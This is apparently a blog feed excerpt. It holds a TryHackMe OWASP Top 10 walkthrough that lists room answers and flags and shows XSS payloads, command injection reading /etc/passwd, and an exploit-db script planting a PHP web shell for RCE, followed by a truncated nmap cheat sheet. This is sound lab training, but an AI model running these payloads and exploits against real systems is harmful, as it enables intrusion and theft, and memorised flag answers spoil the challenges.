&lt;strong&gt;Room&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Name: OWASP Top 10&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Profile: tryhackme.com&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Difficulty: Easy&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Description: Learn about and exploit each of the OWASP Top 10 vulnerabilities; the 10 most critical web security risks.&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;OWASP Top 10&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Write-up&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Overview&lt;/strong&gt;&lt;br&gt;
Install tools used in this WU on BlackArch Linux:&lt;br&gt;
1&lt;br&gt;
$ sudo pacman -S exploitdb dbeaver python&lt;/p&gt;

&lt;p&gt;Command Injection Practical#&lt;br&gt;
What strange text file is in the website root directory?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: drpepper.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Issue the ls command to list files.&lt;/p&gt;

&lt;p&gt;css drpepper.txt evilshell.php index.php js&lt;br&gt;
How many non-root/non-service/non-daemon users are there?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Issue the cat /etc/passwd command, it seems there is no non-root/non-service/non-daemon users.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1.daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
2.bin:x:2:2:bin:/bin:/usr/sbin/nologin
3.sys:x:3:3:sys:/dev:/usr/sbin/nologin
4.sync:x:4:65534:sync:/bin:/bin/sync
5.games:x:5:60:games:/usr/games:/usr/sbin/nologin
6.man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
7.lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
8.mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
9.news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
10.uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
11.proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
12.www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
13.backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
14.list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
15.irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
16.gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin                 
17.nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
18.systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
19.systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
20.syslog:x:102:106::/home/syslog:/usr/sbin/nologin
21.messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
22._apt:x:104:65534::/nonexistent:/usr/sbin/nologin
23.lxd:x:105:65534::/var/lib/lxd/:/bin/false
24.uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
25.dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
26.landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
27.pollinate:x:109:1::/var/cache/pollinate:/bin/false
28.sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What user is this app running as?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: www-data
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Issue the id command.&lt;br&gt;
uid=33(www-data) gid=33(www-data) groups=33(www-data)&lt;br&gt;
What is the user's shell set as?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: /usr/sbin/nologin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;echo $SHELL returns nothing, so let's try cat /etc/passwd | grep www-data | cut -d ':' -f 7.&lt;/p&gt;

&lt;p&gt;/usr/sbin/nologin&lt;/p&gt;

&lt;p&gt;What version of Ubuntu is running?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: 18.04.4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run cat /etc/os-release.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1.VERSION="18.04.4 LTS (Bionic Beaver)"
2.ID=ubuntu
3.ID_LIKE=debian
4.PRETTY_NAME="Ubuntu 18.04.4 LTS"
5.VERSION_ID="18.04"
6.HOME_URL="https://www.ubuntu.com/"
7.SUPPORT_URL="https://help.ubuntu.com/"
8.BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
9.PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
10.VERSION_CODENAME=bionic
11.UBUNTU_CODENAME=bionic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Print out the MOTD. What favorite beverage is shown?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: Dr pepper
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1.$ ls -1 /etc/update-motd.d/
2.10-help-text
3.50-landscape-sysinfo
4.50-motd-news
5.80-esm
6.80-livepatch
7.90-updates-available
8.91-release-upgrade
9.92-unattended-upgrades
10.95-hwe-eol
11.97-overlayroot
12.98-fsck-at-reboot
13.98-reboot-required
14.
15.$ cat /etc/update-motd.d/00-header
16.#
17.#    00-header - create the header of the MOTD
18.#    Copyright (C) 2009-2010 Canonical Ltd.
19.#
20.#    Authors: Dustin Kirkland &amp;lt;kirkland@canonical.com&amp;gt;
21.#
22.#    This program is free software; you can redistribute it and/or modify
23.#    it under the terms of the GNU General Public License as published by
24.#    the Free Software Foundation; either version 2 of the License, or
25.#    (at your option) any later version.
26.#
27.#    This program is distributed in the hope that it will be useful,
28.#    but WITHOUT ANY WARRANTY; without even the implied warranty of
29.#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
30.#    GNU General Public License for more details.
31.#
32.#    You should have received a copy of the GNU General Public License along
33.#    with this program; if not, write to the Free Software Foundation, Inc.,
34.#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
35.
36.[ -r /etc/lsb-release ] &amp;amp;&amp;amp; . /etc/lsb-release
37.
38.if [ -z "$DISTRIB_DESCRIPTION" ] &amp;amp;&amp;amp; [ -x /usr/bin/lsb_release ]; then
39. # Fall back to using the very slow lsb_release utility
40. DISTRIB_DESCRIPTION=$(lsb_release -s -d)
41.fi
42.
43.printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)"
44.
45.DR PEPPER MAKES THE WORLD TASTE BETTER!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Broken Authentication Practical
&lt;/h3&gt;

&lt;p&gt;What is the flag that you found in darren's account?&lt;/p&gt;

&lt;p&gt;Register as darren and log in.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: fe86079416a21a3c99937fea8874b667
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What is the flag that you found in arthur's account?&lt;/p&gt;

&lt;p&gt;Register as arthur and log in.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: d9ac0f7db4fda460ac3edeb75d75e16e
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Sensitive Data Exposure (Challenge)
&lt;/h3&gt;

&lt;p&gt;Have a look around the webapp. The developer has left themselves a note indicating that there is sensitive data in a specific directory.&lt;/p&gt;

&lt;p&gt;What is the name of the mentioned directory?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: /assets
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Navigate to the directory you found in question one. What file stands out as being likely to contain sensitive data?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: webapp.db
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use the supporting material to access the sensitive data. What is the password hash of the admin user?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: 6eea9b7ef19179a06954edd0f6c05ceb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open the DB with dbeaver.&lt;/p&gt;

&lt;p&gt;Crack the hash. What is the admin's plaintext password?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: qwertyuiop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Crack the password with crackstation.&lt;br&gt;
Login as the admin. What is the flag?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  XML External Entity - eXtensible Markup Language
&lt;/h3&gt;

&lt;p&gt;Full form of XML&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: eXtensible Markup Language
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Is it compulsory to have XML prolog in XML documents?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: yes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Can we validate XML documents against a schema?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: yes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;How can we specify XML version and encoding in XML document?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: XML Prolog
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  XML External Entity - DTD
&lt;/h3&gt;

&lt;p&gt;How do you define a new ELEMENT?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer:!ELEMENT
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;How do you define a ROOT element?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer:!DOCTYPE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;How do you define a new ENTITY?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer:!ENTITY
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  XML External Entity - Exploiting
&lt;/h3&gt;

&lt;p&gt;What is the name of the user in /etc/passwd&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: falcon
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Where is falcon's SSH key located?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: /home/falcon/.ssh/id_rsa
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What are the first 18 characters for falcon's private key&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: MIIEogIBAAKCAQEA7b
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Broken Access Control (IDOR Challenge)
&lt;/h3&gt;

&lt;p&gt;Look at other users notes. What is the flag?&lt;/p&gt;

&lt;p&gt;&lt;a href="http://10.10.125.211/note.php?note=0" rel="noopener noreferrer"&gt;http://10.10.125.211/note.php?note=0&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: flag{fivefourthree}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Security Misconfiguration
&lt;/h3&gt;

&lt;p&gt;Hack into the webapp, and find the flag!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: thm{4b9513968fd564a87b28aa1f9d672e17}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Cross-site Scripting
&lt;/h3&gt;

&lt;p&gt;Go to &lt;a href="http://10.10.93.135/reflected" rel="noopener noreferrer"&gt;http://10.10.93.135/reflected&lt;/a&gt; and craft a reflected XSS payload that will cause a popup saying "Hello".&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: ThereIsMoreToXSSThanYouThink
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert("Hello")&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On the same reflective page, craft a reflected XSS payload that will cause a popup with your machine's IP address.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(window.location.hostname)&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: ReflectiveXss4TheWin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now navigate to &lt;a href="http://10.10.93.135/stored" rel="noopener noreferrer"&gt;http://10.10.93.135/stored&lt;/a&gt; and make an account.&lt;/p&gt;

&lt;p&gt;Then add a comment and see if you can insert some of your own HTML.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;b&amp;gt;noraj is bold&amp;lt;/b&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: HTML_T4gs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On the same page, create an alert popup box to appear on the page with your document cookies.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(document.cookies)&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: W3LL_D0N3_LVL2s
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Change "XSS Playground" to "I am a hacker" by adding a comment and using Javascript.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;script&amp;gt;document.querySelector("#thm-title").textContent = "I am a hacker"&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: websites_can_be_easily_defaced_with_xss
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Insecure Deserialization
&lt;/h3&gt;

&lt;p&gt;Who developed the Tomcat application?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: The Apache Software Foundation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What type of attack that crashes services can be performed with insecure deserialization?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: denial of service
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Insecure Deserialization - Objects
&lt;/h3&gt;

&lt;p&gt;Select the correct term for the following statement:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: A Behaviour
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Insecure Deserialization - Deserialization
&lt;/h3&gt;

&lt;p&gt;What is the name of the base-2 formatting that data is sent across a network as?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: binary
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Insecure Deserialization - Cookies
&lt;/h3&gt;

&lt;p&gt;If a cookie had the path of webapp.com/login, what would the URL that the user has to visit be?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: webapp.com/login
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What is the acronym for the web technology that Secure cookies work over?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: HTTPS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Insecure Deserialization - Cookies Practical
&lt;/h3&gt;

&lt;p&gt;1st flag (cookie value)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: THM{good_old_base64_huh}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1.$ printf %s 'gAN9cQAoWAkAAABzZXNzaW9uSWRxAVggAAAAYzdkYzQ0ODM4ZTA4NDdiMWI0NTU0NDk0OGE5MmQxOTRxAlgLAAAAZW5jb2RlZGZsYWdxA1gYAAAAVEhNe2dvb2Rfb2xkX2Jhc2U2NF9odWh9cQR1Lg==' | base64 -d
2.}q(X    sessionIdqX c7dc44838e0847b1b45544948a92d194qX
                                                      3.encodedflagqXTHM{good_old_base64_huh}qu.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;2nd flag (admin dashboard)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: THM{heres_the_admin_flag}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Insecure Deserialization - Remote Code Execution&lt;br&gt;
flag.txt&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: 4a69a7ff9fd68
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Components With Known Vulnerabilities - Lab
&lt;/h3&gt;

&lt;p&gt;How many characters are in /etc/passwd (use wc -c /etc/passwd to get the answer)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: 1611
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1.$ searchsploit CSE bookstore
2.------------------------------------------------------------------------------------ ---------------------------------
3. Exploit Title                                                                      |  Path
4.------------------------------------------------------------------------------------ ---------------------------------
5.CSE Bookstore 1.0 - 'quantity' Persistent Cross-site Scripting                      | php/webapps/48973.txt
6.CSE Bookstore 1.0 - Authentication Bypass                                           | php/webapps/48960.txt
7.------------------------------------------------------------------------------------ ---------------------------------
8.Shellcodes: No Results
9.
10.$ searchsploit online book store
11.------------------------------------------------------------------------------------ ---------------------------------
12. Exploit Title                                                                      |  Path
13.------------------------------------------------------------------------------------ ---------------------------------
14.GotoCode Online Bookstore - Multiple Vulnerabilities                                | asp/webapps/17921.txt
15.Online Book Store 1.0 - 'bookisbn' SQL Injection                                    | php/webapps/47922.txt
16.Online Book Store 1.0 - 'id' SQL Injection                                          | php/webapps/48775.txt
17.Online Book Store 1.0 - Arbitrary File Upload                                       | php/webapps/47928.txt
18.Online Book Store 1.0 - Unauthenticated Remote Code Execution                       | php/webapps/47887.py
19.------------------------------------------------------------------------------------ ---------------------------------
20.Shellcodes: No Results
21.
22.$ searchsploit -p 47887
23.  Exploit: Online Book Store 1.0 - Unauthenticated Remote Code Execution
24.    URL: https://www.exploit-db.com/exploits/47887
25.     Path: /usr/share/exploitdb/exploits/php/webapps/47887.py
26.File Type: ASCII text, with CRLF line terminators
27.
28.$ python /usr/share/exploitdb/exploits/php/webapps/47887.py http://10.10.74.65
29.&amp;gt; Attempting to upload PHP web shell...
30.&amp;gt; Verifying shell upload...
31.&amp;gt; Web shell uploaded to http://10.10.74.65/bootstrap/img/P82Exx96Uv.php
32.&amp;gt; Example command usage: http://10.10.74.65/bootstrap/img/P82Exx96Uv.php?cmd=whoami
33.&amp;gt; Do you wish to launch a shell here? (y/n): y
34.RCE $ wc -c /etc/passwd
35.1611 /etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Insufficient Logging and Monitoring
&lt;/h3&gt;

&lt;p&gt;What IP address is the attacker using?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: 49.99.13.16
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What kind of attack is being carried out?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Answer: brute force
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>cybersecurity</category>
      <category>senseleaner</category>
      <category>websecurity</category>
      <category>onlinesecurity</category>
    </item>
    <item>
      <title>🌐🛡️ Mastering Nmap Commands: Unleash Your Network Scanning Superpowers! 🛡️🌐</title>
      <dc:creator>Frank Osasere Idugboe</dc:creator>
      <pubDate>Mon, 02 Oct 2023 16:49:30 +0000</pubDate>
      <link>https://dev.to/kloudmaster/mastering-nmap-commands-unleash-your-network-scanning-superpowers-21m1</link>
      <guid>https://dev.to/kloudmaster/mastering-nmap-commands-unleash-your-network-scanning-superpowers-21m1</guid>
      <description>&lt;p&gt;Ready to take your network scanning skills to the next level? 🔍🚀 Here's a breakdown of essential Nmap commands to help you become a scanning ninja! 🤺💻&lt;/p&gt;

&lt;p&gt;🔹 Basic Scan 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap target
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Discover open ports on a target.&lt;/p&gt;

&lt;p&gt;🔹 Intense Scan 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; target
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aggressive scan with OS detection and version information.&lt;/p&gt;

&lt;p&gt;🔹 UDP Scan 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sU&lt;/span&gt; target
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Scan UDP ports for hidden vulnerabilities.&lt;/p&gt;

&lt;p&gt;🔹 Port Range Scan 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap target &lt;span class="nt"&gt;-p&lt;/span&gt; 1-100
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Scan a range of ports.&lt;/p&gt;

&lt;p&gt;🔹 Operating System Detection 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-O&lt;/span&gt; target
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Identify the target's operating system.&lt;/p&gt;

&lt;p&gt;🔹 Service Version Detection 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; target
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Retrieve service version information.&lt;/p&gt;

&lt;p&gt;🔹 Script Scanning 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&amp;lt;script&amp;gt; target
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Execute custom NSE scripts for specific tasks.&lt;/p&gt;

&lt;p&gt;🔹 Output to File 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-oN&lt;/span&gt; output.txt target
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Save scan results to a file.&lt;/p&gt;

&lt;p&gt;🔹 Aggressive Timing 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-T4&lt;/span&gt; target
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Speed up the scan with aggressive timing.&lt;/p&gt;

&lt;p&gt;🔹 Ping Scan 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; target
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Check if hosts are up without scanning ports.&lt;/p&gt;

&lt;p&gt;🔹 Exclude Hosts 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap target &lt;span class="nt"&gt;--exclude&lt;/span&gt; host
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Exclude specific hosts from the scan.&lt;/p&gt;

&lt;p&gt;🔹 Scan a Network Range 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap 192.168.1.0/24
